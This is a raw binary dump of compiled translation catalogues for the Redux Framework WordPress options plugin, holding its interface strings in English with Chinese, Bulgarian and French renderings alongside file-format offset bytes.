���R�����]�����m��'���|��.����������3�����'��� �� ���5��y���V����������������� ���������������(�������������$�����)�����2�� ���:�����E�����M�����c��U���k�������F������������������&�� ���F�����Q�� ���W�� ���d��;���o��F�����E�����K���8��b�����L�����3���4 ��-���h ��/��� ��a��� ��`���(!�����!�����!�����!�����!��J���!�����"��,���*"�� ���W"��,���d"�����"�����"�����"��b��"�����3&�����F&�����Y&�����`&�� ���i&�����v&�����&�����&�� ���&��E���&��N���'��E���Q'�� ���'�����'�����'�� ���'�� ���'�� ���'�� ���'�� ���'����� (�� ���(�����((�� ���,(�� ���6(�� ���C(��%���P(�����v(�����}(�����(�����(�����(��!���(�����(�����(�� ���(�����(�����)�����)�� ���)�����)�����)�� ���)�����)�����)�����)�����)�� ���)�� ���)�� ����*�� ��� *�����*�����**�� ���=*�����J*�� ���Q*�� ���^*�� ���k*�����x*�����|*�����*�� ���*�����*�����*�����*�����+�� ���+�����+��?���+��J���+�����),�����0,�� ���@,�����M,��T���],��Q���,�����-����� -�� ���-�� ���-�����)-��)���0-�� ���Z-�����f-�����m-�����s-��+���z-�����-�����-�����-�����-�� ���-��!���-�����-�����.�����-.�� ���C.�����M.�� ���T.�� ���^.�����j.�����}.��(���.�����.��I���.�����/�����#/�����*/�� ���1/�� ���>/�����K/�����O/�� ���`/�����m/�����/�����/�����/��*���/��"���/�� ���0�����,0�� ���30�����@0�����G0�� ���N0�����Y0�����`0�� ���g0�� ���t0�����0�� ���0�� ���0�����0��(���0�����0��0���0��+���,1��(���X1�����1�����2�����2�����2�����2�����2�����!2��"���(2�����K2�����R2�� ���Y2�����c2�����j2�����s2�����|2�����2��J���2�����2��E���3�����3�����3��#���4�����;4�����K4�� ���R4�� ���_4��*���l4��-���4��3���4��G���4��W���A5��7���5��(���5��(���5��1���#6��B���U6��B���6�����6�����6�����6�� ���6��>��� 7�����I7��,���c7�����7��"���7�����7�� ���7�����7�����2���������������������������&�������������� ���R���������������-���Y���_������ �������m���@���������7���:�������r������Q����������U�����������������d���6�������j���>���+���(���^���}���O�������������$�������������t�������������X��������������������G���N�������%������������������������i���k��������������������y���K���c������w��������������\�������������a���4�����������������'���H���������`���������o�����������������������B������V�������Z�������������������F������������u�����������8�������v���[���?������M���������s���J���h���������5���<���������������l�������q���L��������������������������)���#����������S����������C����������3���g���0��������������*������z��� ���������� ��� �����������P�����������������p���n����������E�������������,������e���I������;����������{���/����������T���9���������������������������b������"������� �������]���1���f������=��������������.���!���D������|�������~����������x���W���A����Activate Demo Mode�Activate Development Plugins�Active�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Author URL�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Changelog�Clear Gallery�Click here to activate the sample config file.�Close�Credits�Deactivate Demo Mode�Deactivate Development Plugins�Default�Default timezone is %s - it should be UTC�Delete�Description�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Do not allow tracking�Docs�Email address�Enable�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Get System Report�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Home URL�Hover�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�Import�Import / Export�Import Options�Import from URL�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Language�Left�Letter Spacing�Like Redux?�Line Height�Must call in of after the "plugins_loaded" action.�MySQL Version�Name�New %s�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�PHP Max Input Vars�PHP Post Max Size�PHP Time Limit�PHP Version�Password�Please Wait�Redux Extensions�Redux Framework�Redux Framework Changelog�Redux Framework has an embedded demo.�Redux Generator�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Regular�Remove�Repo�Reset All�Reset Section�Right�SUHOSIN Installed�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Site URL�Size�Standard Fonts�Status�Style�Subscribe�Subsets�Support�System Info�Team Redux�Text Align�Text Decoration�Text Transform�The people that develop Redux Framework�The unknown action has been replaced with "%s"�Theme�This field cannot be empty. Please provide a value.�This field must be a valid color value.�This field must be a valid date.�This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.�Title�To �Top�Transparent�URL�Units�Unknown action "%1$s" specified for %2$s�Upload�User�Username�Version�Version %s�View %s�Visit plugin homepage�Visited�WARNING! This will overwrite all existing option values, please proceed with caution!�Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.�Warning- This options panel will not work properly without javascript!�Welcome to Redux Framework�Welcome to Redux Framework %s�Welcome to the Redux Demo Panel�What's New�Width�Word Spacing�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�You must not enter any HTML in this field, all HTML tags have been removed.�You must not enter any special characters in this field, all special characters have been removed.�You must provide a comma separated list of numerical values for this option.�You must provide a numerical value for this option.�You must provide a valid URL for this option.�You must provide a valid email for this option.�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�clicking�donation�error(s) were found!�extensions directory�has the proper read/write permissions or enter your FTP information below.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�is available�leave us a favorable review on WordPress.org�moving the mouse over�our documentation�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Chinese (China) (http://www.transifex.com/projects/p/redux-framework/language/zh_CN/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: zh_CN Plural-Forms: nplurals=1; plural=0; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �启用演示模式�启用开发插件�激活�添加%s�添加更多�添加/编辑 相册�全部�所有默认设置已恢复!�允许追踪�你确定要这样做? 重置将会抹掉当前所有设置数据值.�你确定要这样做? 重置将会抹掉当前选区的所有设置数据值.�你确定要这样做? 重置将会抹掉当前所有设置数据值.�作者链接�自动动作: "%s"�背景附着方式�背景片段�背景定位�背景位置�重复背景�背景尺寸�备份字体源�描边样式�下�浏览器�修订历史�清空相册�点击此处启用演示配置文件.�关闭�鸣谢�停用演示模式�停用开发插件�默认�默认时区是 %s -默认为 UTC�删除�描述�开发人员�已启用开发模式�你知道我们还有拓展插件吗? 这些插件将会极大拓展Redux设置面板的功能. 浏览我们的 %1$s 来了解更多!�停用�不再显示�不允许追踪�文档�Email地址�启用�展开�导出设置数据�扩展�字体颜色�字体源�字体尺寸�字体子项�字体多样性�字体粗细样式�字体颜色�字体�字体脚本�字体样式�字体子项�从�获取系统报告�开始�Google字体�高度�帮助改善我们的面板�在此页面你可以复制/下载你当前的设置数据. 你可以以此作为备份以免发生任何错误, 或者你可以用来恢复此站点备份设置(或者其他网站设置).�提示�主站链接�悬浮�如果如此, 请 %1$s 与考虑 %2$s 来支持我们的开发.�如果你想了解关于Redux的最新消息, 请订阅我们的内容吧.�导入�导入 / 导出�导入选项�从网址导入�输入另外一个站点的设置数据URL, 然后点击导入来远程导入设置.�在下方输入你的备份文件, 然后点击导入来恢复你的备份设置.�语言�左�文字间距�喜欢Redux?�行高�必须在"plugins_loaded"动作后执行.�MySql版本�名字�新%s�订阅�没有找到符合条件的此类别项目.�没有选择媒体�关闭�开启�选项�设置对象�设置面板由 %1$s 提供开发�PHP输入变量最大值�PHP最大的POST尺寸�PHP执行时间限制�PHP版本�密码�请稍等�Redux插件�Redux 开发框架�Redux Framework 更新日志�Redux 开发框架有一个视频演示.�Redux生成器�Redux是一个简洁,可扩展的Wordpress主题和插件的设置框架.�一般�移除�协议�全部重置�重置选区�右�SUHOSIN已安装�保存更改�选区的默认设置已恢复!�选择一个项目�设置数据已成功导入!�成功保存设置!�设置项已改变, 你应该立即保存!�在Javsscript控制台显示对象�网站链接�尺寸�标准字体�状态�样式�d你个月�子项�支持�系统信息�Team Redux�文字对齐方式�字体装饰�文字转变�开发了Redux Framework的人�此位置的动作将会被 "%s" 代替�主题�此项不能为空. 请提供一个有效的值.�此项必须填写一个有效的颜色值.�此项必须填写一个有效的日期.�此演示数据面板包含了许多Redux的特性. 在深入了解前, 我们建议你先浏览 %1$s 来帮助你提高开发速度.�标题�到�上�透明�URL�部件�%2$s 挂载的未知动作 "%1$s" �上传�用户�用户名�版本�%s版本�查看%s�访问插件主页�访问�警告! 此动作将会复写所有当前设置数据值, 请小心使用!�想立即开始? 使用 %1$s. 它将会创建一个自定义的主题或者一个标准的管理员文件夹(由Undersocres与TGM提供). 节省你大量时间, 立即尝试下吧.�警告! 若没有javascript, 这个设置区域将不能正常工作.�欢迎使用Redux Framework�欢迎使用Redux Framework %s�欢迎来到Redux演示数据面板�有什么新的�宽度�词组间距�处理中...�您没有足够的权限访问该页面。�你还未保存更改. 需要立即保存吗?�你修改了某些设置项. 需要立即保存吗?�你不能在此填写任何HTML代码, 所有HTML代码将会被移除.�你不能在此填写任何特殊文字符号, 所有特殊文字符号将会被移除.�你必须填写一列由英文逗号分隔的数字串.�你必须填写一个有效的数字值.�你必须填写一个有效的URL地址.�你必须填写一个有效的电子邮件地址.�你当前的设置将会被现在的更改所覆盖. 确定继续?�你当前的设置将会被现在的更改所覆盖. 确定继续?�点击�捐赠�找到错误信息!�插件列表�有合适的读/写权限或者在下面输入您的FTP信息.�http://reduxframework.com�http://wordpress.org/plugins/redux-framework�可用�在WordPress.org给我们点赞吧�将鼠标移动到上面�说明文档�找到警告信息!�������������redux-framework/languages/redux-framework-bg_BG.mo��������������������������������������������������0000644�����������������00000020567�14720701300�0016255 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������_����������� ����������� ���������������*�����.�����E��5���T��D�����4�������� ����� �����. �� ���@ �����M �����T �� ���\ �� ���f �����t �����z ����� ����� �� ��� �� ��� ����� ����� ����� ����� ����� ����� �� ��� �� ��� �� ��� �� ��� ����� ����� �����. �����5 �����; �����B �����R �����a ��X���q ����� ����� ����� ��!��� ����� ����� ����� ����� �� ��� �����+ �����; �����C �� ���J �� ���T �����b �� ���h �����u ����� ����� ����� ��,��� ��(��� ����� ����� �����# �����2 �����9 �����? �� ���G �����S �����Y �����_ �����c �� ���g �����s �����w �����} ����� ����� ����� �� ��� ����� ����� �� ��� ��;��� ��F��� ��E���O ��a��� ��`��� �����X��J���m�������n�������>�����N��0���b�� �����\�����'��������%����������n��#�����*���*��A���U�� ���������������������������� ����� �����/�����M�����`�����q������������2���������������"��� �����-��(���H�����q�� �������������������� ����������'����������#���4�����X����������&�� ���-��@���7��5���x������������ ������������������ �������!���2��!���T�� ���v��"�����n����������-���/��-���]��T�����0����� ����������%���/�� ���U�����b�����k��%������������������������������ ������������� �������!���.�� ���P�����]��C���m�������$�����I�����f���1��f���������������+���u ����� ��;���;!�����*���@�������<������� ���K��� ������� ������9���'���X���:�������[��������������8����������L���6���4���U�������3�������Y�����������7���G������^���������������?���H�������D������5������0���$���E���)���J���/����������Z���F���N������=��������������,�������\���A������� ���(���%���O������!��������������������������.���������������T���������-���S���M���B�������>���P��� ����������_���������� ���2���]���+�������Q�����������C���R���"���1�������#���W���V������������������I���&������;����Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Background Attachment�Background Position�Background Repeat�Border style�Bottom�Browser�Changelog�Clear Gallery�Close�Credits�Default�Delete�Description�Developer�Disable�Dismiss�Do not allow tracking�Enable�Expand�Export Options�Font Color�Font Family�Font color�Font family�From �Google Webfonts�Height�Hints�Import�Import / Export�Import Options�Import from URL�Input your backup file below and hit Import to restore your sites options from a backup.�Left�Name�New %s�No items of this type were found.�No media selected�Off�On�Password�Please Wait�Redux Framework�Regular�Remove�Reset All�Reset Section�Right�Save Changes�Section Defaults Restored!�Select an item�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Show Object in Javascript Console Object�Size�Slide�Standard Fonts�Status�Style�Subsets�System Info�Theme�Title�To �Top�Transparent�URL�Units�Upload�User�Username�Version�Version %s�Visit plugin homepage�Width�Working...�You do not have sufficient permissions to access this page.�You have changes that are not saved. Would you like to save them now?�You have changes that are not saved. Would you like to save them now?�Your current options will be replaced with the values of this preset. Would you like to proceed?�Your current options will be replaced with the values of this preset. Would you like to proceed?�error(s) were found!�has the proper read/write permissions or enter your FTP information below.�warning(s) were found!�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-04-02 04:45:17+00:00 PO-Revision-Date: 2015-04-14 00:13+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Bulgarian (Bulgaria) (http://www.transifex.com/projects/p/redux-framework/language/bg_BG/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: bg_BG Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �Добави %s�Добави още�Добави/Редактирай галерия�Всички�Всички настройки по подразбиране са възстановени!�Разреши проследяване�Сигурни ли сте? Възстановяването ще загуби всички допълнително направени промени?�Сигурни ли сте? Възстановяването ще загуби всички допълнително направени промени в тази секция.�Сигурни ли сте? Възстановяването ще загуби всички допълнително направени промени?�фоново изображение�Местоположение на фона�Повторение на фоновото изображение�Стил на границата�Долу�Браузър�Списък с промени�Изчисти галерия�Затваряне�Заслуги�По подразбиране�Изтриване�Описание�Разработчик �Изключване�Затваряне�Не разрешавай проследяване�Разрешаване�Разшири�Настройки за износ�Цвят на шрифта�Семейство от шрифтове�Цвят на шрифта�Шрифт�От�Шрифтове от Google�Височина�Насоки�Внедряване�Внедряване / Изнасяне�Внедри настройки�Внедри от уеб адрес�Вкарайте вашия резервен файл отдолу и натиснете "Внедри", за да възстановите настройките на вашите сайтове.�Ляво�Име�Нов %s�Няма намерени артикули от този тип.�Няма избрани медиини файлове�Изключено�Включено�Парола�Моля, изчакайте�Redux Framework�Обикновен�Изтриване�Възстанови всички�Възстанови секция�Дясно�Запис на промените�Настройките по подразбиране за тази секция са възстановени!�Избери артикул�Настройките са внедрени!�Настройките са записани!�Настройките са промени. Трябва да ги запишете!�Покажи Object в Javascript Console Object�Размер�Плъзгане�Стандартни шрифтове�Статус�Стил�Подмножество�Системна информация�Тема�Заглавие�До�Горе�Прозрачно�Адрес�Мерни единици�Качване�Потребител�Потребителско име�Версия�Версия %s�Интернет страницата на разширението�Широчина�В процес на работа...�Нямате право на достъп до тази страница.�Имате незаписани промени. Искате ли да ги запишете сега?�Имате незаписани промени. Искате ли да ги запишете сега?�Текущите ви опции ще бъдат заменени с тези предварително зададени стойности. Искате ли да продължите?�Текущите ви опции ще бъдат заменени с тези предварително зададени стойности. Искате ли да продължите?�грешка(и) бяха намерени!�има подходящите права за четене/записване или въведете вашата FTP информация отдолу.�предупреждение(я) бяха намерени!������������������������������������������������������������������������������������������������������������������������������������������redux-framework/languages/redux-framework-fr_FR.mo��������������������������������������������������0000644�����������������00000114650�14720701300�0016310 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������K�����t ������������{�����d���5����������^�����q������������������������������������������5�����D���%��4���j�� ����� ���������������������������������)�����9�� ���L�����Y�����`�� ���h�����u�� ���}�� ����� �����.��������������� ������������������ ����� �����' �����< �����[ �����c ��)���{ ����� �� ��� ��9��� �� ��� ����� ��l���!�����!�����!��3���!��;���!������"�����"�����"�� ���."�����<"�� ���C"�����M"�����T"�� ���c"�� ���n"�� ���y"�� ���"�� ���"�� ���"�����"�� ���"�� ���"�� ���"�� ���"�� ���"�����"�� ���#����� #��.��� #�����O#�� ���f#�����r#�����#�����#�����#�����#�����#�����$�����$�����9%�����B%�����H%��1���[%��'���%��Z���%��U���&�����f&�����'�����$'�����4'�����C'�����T'��E���d'��B���'��h���'��E���V(��C���(��E���(��-���&)��]���T)��X���)��B��� *��1���N*�����*�� ���*�����*�����*�� ���*�� ���*��C���*��[��+�����`,�����v,��2���,�� ���,�����,�����,�����,�� ���,��!���,�����-�����&-�����*-�����--�����5-�� ���D-�����e-�����.�����#.�����6.�����G.�����Y.�� ���h.�����t.�����.�����.�����.�����.�� ���.��d���.��N���A/�����/�����60�� ���0�����0����� 1�����1��$���.1�����S1�����o1�����1�����1�����1�����1��%���1�����2�����2�����2�� ���2��k���2��W���G3�����3�����}4�� ���4�� ���4�����4�����4�� ���4�� ���4�����4�����4�� ���4�����4������5�����5�����-5�����<5�� ���O5�����[5�����n5��,���~5�����5��(���;6�����d6�����m6�����r6�����x6�����6�����6�����6�� ���6�����6����6��{���K8�����8��<���8�� ��� 9�� ���9�� ���#9�����.9�����>9�����M9��P���9�� ���$:��{���E:��&���:��9���:��M���";��>���p;��@���;��%���;�����<��8���<��2���<��*���=��7���2=��I���j=��F���=��]���=��%���Y>�����>��1���>�����>��~���Y?��x���?��\���Q@�� ���@��'���@��7���@�����/A��X���JA�����A�����A��.���[B��6���B��4���B��6���B��0���-C�����^C��J���dC��=���C��3���C��'���!D�� ���ID��y���jD��h���D�����ME�����>F�����DF��4���HF��8���}F�����F�� ���F�����F��3���F�����F�����G��(���$G��A���MG�����G��A���G��$���G��6���G�����4H�����9H�����BH�� ���JH�����UH�����]H�����sH��U���{H�� ���H�����H�� ���H�� ���H�����I��F���I��Q���3J�����J�����K�����8K�����VK�����vK�����K�� ���K��4���K��s���K�����^L�� ���dL�����qL�� ���L��;���L��F���L��E���M��K���[M��b���M��L��� N��3���WN��-���N��/���N��a���N��`���KO��*���O�����O�����cP�����sP�����|P�����P�����P��J���P�����P��,���Q�� ���AQ��,���NQ�����{Q�����Q�����Q��m���Q��`���(R��?��R�����U��i���\V�����V��!���W��)���W�����X�����X�� ���)X�� ���4X�����AX�����aX��:���fX�����X��@���X��W���X��6���MY�����Y��$���Y�����Y��(���Y�� ���Y�����Z��%���>Z��"���dZ�� ���Z�����Z�����Z�� ���Z�����Z�� ���Z�����Z�����[�����[��G���%[�����m[�� ���t[�����[�����[�����[�����[��+���[��%���[��-���$\�����R\��%���e\��;���\�� ���\�� ���\��;���\�� ���]�����&]�����@]�� ���]�����]��2���]��;��� ^�����F^�����`^��%���e^�����^�����^�� ���^�����^�����^�� ���^�����^�����^�����_�����_�����3_��!���F_�����h_�����z_�����_�����_�����_�����_�����_��$���_�����`����� `�����=`�����O`�� ���k`�����y`�����`��&���`�����`�����a�����a�����zb�����b�����b��@���b��;���b�����*c��U���c�����d�����d�����d�����e�����e�����5e��S���Me��I���e��}���e��N���if��C���f��C���f��8���@g��R���yg�����g��T���Nh��=���h�����h�����h�����h������i�����i�����*i��X���;i����i�����Fk�����[k��3���wk�� ���k�����k�� ���k�����k�� ���k��-���k�����l�����5l�����9l�����<l�� ���Bl��"���Nl�����ql�����;m�����Um�����hm�����m�����m�� ���m�� ���m�����m�����m�� ��� n�����n�����/n��w���En��f���n�����$o�����%p�����p��<���q�����Lq�����]q��)���mq��,���q�����q�����q��!���q��%���r�����Cr��0���Zr�����r�����1s�����As�����Zs�����ks��i���s����at�� ���cu�� ���mu�� ���yu�� ���u�����u�����u�����u�� ���u�����u�����u��:���u�� ���8v��#���Yv�����}v�����v�� ���v�����v�����v��:���v�����%w��+���w�� ���w�����w�� ���w�����w�����x�����x�����x�� ���=x�����Jx����Yx�����,z�����z��M���z�����{�� ���{�����%{�����9{�����N{�����f{��q���|��)���|�����|��'���1}��F���Y}��^���}��V���}��P���V~��/���~�����~��8���l��5�����'�����I�����a���M��S�����s�����&���w�������1��������������������r�����&�����.���B��=���q�������o���˄�����;�����Z��-�����D���H��?�����9���͆��2��������:��P���A��O�����<�����4�����'���T�����|��w��� ��.��������������Z�����F��������_�� ���g�����s��X���w�����Ћ�������*�����R���#�� ���v��p�����>�����E���4�� ���z������������ ����������&����������X��������G�����Y�� ���o�� ���|������F�����t���Џ�����E�������!�����(���2�����[��)���z�������0������������������������� ���’��B���Β��W�����W���i��b�����v���$��a�����;�����4���9��.���n��T�����T�����4���G�����|������� ����� ���!��!���.�����P��]���l�����ʗ��,����������5��� �����V�����n��'����������t���3�������������������v������������������������������������p��������������������� ����������������m�����������������������������������������(������-�������������������E���\�������������[�������������x�������o�������������/����������,�����������%�����������������O���A�����W���I������|��������������������F�����C���0��������������������������q�����������������!���?���G������4���(������H�� ���������������u�������B���������V�������D���P�������C������ ������k���@��Z�����������������������+������2���$�� ��=���`�������_���n�������������� ��������������������:��T���������d�������������R���+���������������������!��&���������A���)����������9�������2��.��Y�������5�������������������<��D�����@�����E������>��h���������"�����������L������-������*���=�������������0����������� ���r������������������������������������������G������3�����J�����������������������s�����������#������ �����������Q��������7��&�����6����������1��������� �������������{���S��������M���?������8������ ���8��4���������.������f��������� ��)������*������1��������'��������������U�������������;��F���������� ���}���;�������������6��K��b��������������c�������5������^�����������������������������"��������K���e�������N����������������������������������������������������������'���a�������z����������i��������y������9��B������X����������]���J���������$�����%���I��������7��������������������������>����������:���������H���l���t�����,�������������������������� ��3��������/����������������#���g���������������j���w����������������<�����������������������~����%s - We recommend setting memory to at least 40MB. See: <a href="%s" target="_blank">Increasing memory allocated to PHP</a>�<code>%s</code> version <strong style="color:red">%s</strong> is out of date. The core version is %s�<strong>Your panel has bundled outdated copies of Redux Framework template files</strong> – if you encounter functionality issues this could be the reason. Ensure you update or remove them.�Activate Demo Mode�Activate Development Plugins�Active�Active Plugins�Add %s�Add More�Add/Edit Gallery�All�All Defaults Restored!�Allow tracking�Are you sure? Resetting will lose all custom values.�Are you sure? Resetting will lose all custom values in this section.�Are you sure? Resetting will lose all custom values.�Author URL�Automatic action performed: "%s"�Background Attachment�Background Clip�Background Origin�Background Position�Background Repeat�Background Size�Backup Font Family�Border style�Bottom�Browser�Browser Info�Builder�Changelog�Child Theme�Clear Gallery�Click here to activate the sample config file.�Close�Copied!�Copy Data�Copy Export URL�Copy for Support�Credits�Database Table Prefix�Deactivate Demo Mode�Deactivate Development Plugins�Default�Default Timezone is UTC�Default timezone is %s - it should be UTC�Delete�Description�Determines if PHP will display errors within the browser.�Developer�Developer Mode Enabled�Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!�Disable�Dismiss�Displays whether or not WordPress is in Debug Mode.�Displays whether or not the current theme is a child theme.�Do not allow tracking�Docs�Download Data File�Email address�Enable�Error: %s�Expand�Export Options�Extensions�Font Color�Font Family�Font Size�Font Subsets�Font Variant�Font Weight & Style�Font color�Font family�Font script�Font style�Font subsets�From �Front Page�Front Page Display�Generate a Support URL�Generate a Support URL�Get Support�Get System Report�Getting Started�Google Webfonts�Height�Help improve Our Panel�Here you can copy/download your current option settings. Keep this safe as you can use it as a backup should anything go wrong, or you can use it to restore your settings on this site (or any other site).�Hints�Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear. They can be %d d by using the link below.�Home URL�Hover�How to Get Support�I am a developer, building a product using Redux.�I am a user, using a pre-built product.�If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.�If you'd like to keep up to with all things Redux, please subscribe to our newsletter�If you're modifying Redux Framework or a parent theme you didn't build personally, we recommend using a child theme. See: <a href="%s" target="_blank">How to create a child theme</a>�Import�Import / Export�Import Options�Import from File�Import from URL�Indicates if ajax based saving is enabled for this instance of Redux.�Indicates if developer mode is enabled for this instance of Redux.�Indicates if output flag for globally shutting off all CSS output is enabled for this instance of Redux.�Indicates if the compiler flag is enabled for this instance of Redux.�Indicates the installed Redux extensions and their version numbers.�Information about the web server that is currently hosting your site.�Information about web browser current in use.�Input the URL to another sites options set and hit Import to load the options from that site.�Input your backup file below and hit Import to restore your sites options from a backup.�Invalid security credential, please reload the page and try again.�Is the server running in a localhost environment.�Language�Learn More�Left�Letter Spacing�Like Redux?�Line Height�List of template files overriding the default Redux template files.�Listed below are the Wordpress plugins and/or theme installed on your site that utilize Redux Framework. We do not directly support products created with our framework. It is the responsibility of the plugin or theme developer to support their work. You will need to contact the author(s) of the products listed below with your support questions.�Localhost Environment�Max Upload Size�Must call in of after the "plugins_loaded" action.�MySQL Version�Name�New %s�New in this Release�Newsletter�No items of this type were found.�No media selected�Off�On�Options�Options Object�Options panel created using %1$s�Our core mantra at Redux is backwards compatibility. With hundreds of thousands of instances worldwide, you can be assured that we will take care of you and your clients.�PHP Display Errors�PHP Max Input Vars�PHP Memory Limit�PHP Post Max Size�PHP Time Limit�PHP Version�Parent Theme Author URL�Parent Theme Name�Parent Theme Version�Password�Permalink Structure�Please Wait�Please be sure to include for your developer - via cut and paste - the Support URL in the box below.�Please copy and paste this information in your ticket when contacting support:�Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.�Please proceed to the Redux Framework issue tracker and supply us with your support URL below. Please also provide any information that will help us to reproduce your issue.�Posts Page�Redux Data Directory Writable�Redux Extensions�Redux Framework�Redux Framework - A Community Effort�Redux Framework - Changelog�Redux Framework - Extensions�Redux Framework - Support�Redux Framework - System Status�Redux Framework Changelog�Redux Framework Status�Redux Framework has an embedded demo.�Redux Framework is the core of many products on the web. It is an option framework which developers use to enhance their products.�Redux Generator�Redux Instance: �Redux Version�Redux and its extensions write data to the <code>uploads</code> directory. This directory must be writable.�Redux is a simple, truly extensible options framework for WordPress themes and plugins.�Redux is created by a community of developers world wide. Want to have your name listed too? <a href="https://github.com/reduxframework/redux-framework/blob/master/CONTRIBUTING.md" target="_blank">Contribute to Redux</a>.�Regular�Remote Get�Remote Post�Remove�Repo�Reset All�Reset Section�Right�SUHOSIN Installed�Save Changes�Section Defaults Restored!�Select Support Type�Select Your Support Type�Select an item�Server Environment�Server Info�Settings Imported!�Settings Saved!�Settings have changed, you should save them!�Should the developer not be responsive, read the <a href="%s" target="_blank">following article</a> before asking for support from us directly.�Show Object in Javascript Console Object�Site URL�Size�Slide�Standard Fonts�Status�Style�Submit a Support Request�Subscribe�Subsets�Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.�Supercharge your Redux experience. Our extensions provide you with features that will take your products to the next level.�Support�Support hash could not be generated. Please try again later.�System Info�Team Redux�Text Align�Text Decoration�Text Transform�Thank you for updating to the latest version! Redux Framework %s is a huge step forward in Redux Development. Look at all that's new.�That URL slug is in use, please choose another. <code>%s</code> is open for use.�The URL of your site's homepage.�The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)�The current Reading mode of Wordpress.�The current language used by WordPress. Default = English�The current permalink structure as defined in Wordpress Settings->Permalinks.�The currently selected page in where blog posts are displayed.�The currently selected page which acts as the site's Front Page.�The default timezone for your server.�The following directories & files are still located in your <strong>Redux</strong> directory. They may cause errors in Theme-Check.�The global_variable argument for this instance of Redux.�The installed version of the current active theme.�The installed version of the parent theme.�The largest filesize that can be contained in one post.�The largest filesize that can be uploaded to your WordPress installation.�The maximum amount of memory (RAM) that your site can use at one time.�The maximum number of variables your server can use for a single function to avoid overloads.�The name of the current active theme.�The name of the parent theme.�The opt_name argument for this instance of Redux.�The output_tag variable sets whether or not dynamic CSS will be generated for the customizer and Google fonts for this instance of Redux.�The page parent variable sets where the options menu will be placed on the WordPress admin sidebar for this instance of Redux.�The page permissions variable sets the permission level required to access the options panel for this instance of Redux.�The page slug denotes the string used for the options panel page for this instance of Redux.�The parent theme developers URL.�The people that develop Redux Framework�The prefix structure of the current Wordpress database.�The root URL of your site.�The specified template path containing custom template files for this instance of Redux.�The theme developers URL.�The theme you are testing has %s embedded. We invite you to read the %sTheme-Check Documentation%s to understand some warnings you will see because of Redux.�The unknown action has been replaced with "%s"�The version of MySQL installed on your hosting server.�The version of PHP installed on your hosting server.�The version of Redux Framework installed on your site.�The version of WordPress installed on your site.�Theme�There was a problem with your action. Please try again 